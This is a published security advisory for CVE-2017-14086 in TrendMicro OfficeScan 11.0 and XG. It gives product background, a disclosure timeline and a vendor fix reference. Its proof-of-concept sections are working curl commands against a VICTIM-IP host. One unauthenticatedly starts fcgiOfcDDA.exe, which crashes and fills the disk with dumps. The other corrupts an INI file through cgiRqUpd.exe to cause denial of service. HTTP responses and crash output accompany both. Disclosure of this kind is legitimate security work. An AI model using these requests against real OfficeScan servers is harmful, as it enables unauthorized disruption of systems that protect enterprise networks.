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TrendMicro OfficeScan 11.0 / XG (12.0) Auth Start Code Execution

TrendMicro OfficeScan 11.0 / XG (12.0) Auth Start Code Execution
Posted Sep 29, 2017
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

TrendMicro OfficeScan versions 11.0 and XG (12.0) suffer from Start Remote Process code execution and denial of service vulnerabilities.

tags | exploit, remote, denial of service, vulnerability, code execution
advisories | CVE-2017-14086
SHA-256 | 6de08e124c8b1a0239b20e4fa1c2cbdf3e13a51ade31822cc0daeada5571141c

TrendMicro OfficeScan 11.0 / XG (12.0) Auth Start Code Execution

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[+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14086-TRENDMICRO-OFFICESCAN-XG-PRE-AUTH-START-REMOTE-PROCESS-CODE-EXECUTION-MEM-CORRUPT.txt
[+] ISR: ApparitionSec



Vendor:
==================
www.trendmicro.com



Product:
========
OfficeScan XG
v11.0 and (12.0)*



Vulnerability Type:
===================
Unauthorized Start Remote Process Code Execution
Unauthorized Denial Of Service - INI Corruption

OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.



CVE Reference:
==============
CVE-2017-14086



Security Issue:
================
Remote unauthenticated attackers who connect to the OfficeScan XG application can temporarily start the "fcgiOfcDDA.exe" executable
this process will run for short time before dies, server disk space may also be consumed with dump files by making continous HTTP requests.


References:
===========
https://success.trendmicro.com/solution/1118372



Exploit/POC Start Remote Process Code Execution:
================================================
c:\> curl -k https://VICTIM-IP:4343/officescan/console/CGI/

HTTP response:
403 - Forbidden: Access is denied.
You do not have permission to view this directory or page using the credentials that you supplied

But, we can access it directly :)

c:\> curl -v -k https://VICTIM-IP:4343/officescan/console/CGI/fcgiOfcDDA.exe

HTTP Response:

500 - Internal server error.
There is a problem with the resource you are looking for, and it cannot be displayed.

The EXE is called then runs for short time before .DMP is generated.

fcgiOfcDDA.exe.6808.dmp

The stored exception information can be accessed via .ecxr.
(568.112c): Unknown exception - code c000000d (first/second chance not available)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -
eax=00000000 ebx=0014f780 ecx=00000000 edx=00000000 esi=00000002 edi=00000000
eip=77d9016d esp=0014f730 ebp=0014f7cc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtWaitForMultipleObjects+0x15:



Exploit/POC (Denial Of Service / INI Corruption):
==================================================
[root@localhost /]# curl -v -k https://VICTIM-IP:4343/officescan/CGI/cgiRqUpd.exe
* About to connect() to VICTIM-IP port 4343
* Trying VICTIM-IP.. connected


<HTTP/1.1 200 OK
< Pragma: no-cache
< Content-Type: text/plain;charset=iso-8859-1
< Server: Microsoft-IIS/7.5
< X-Powered-By: ASP.NET
< Date: Fri, 02 Jun 2017 18:00:36 GMT
< Connection: close
< Content-Length: 22

[INI_UPDATE_SECTION]


BOOOM!




Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: June 2, 2017
Vendor releases fixes / advisory : September 27, 2017
September 28, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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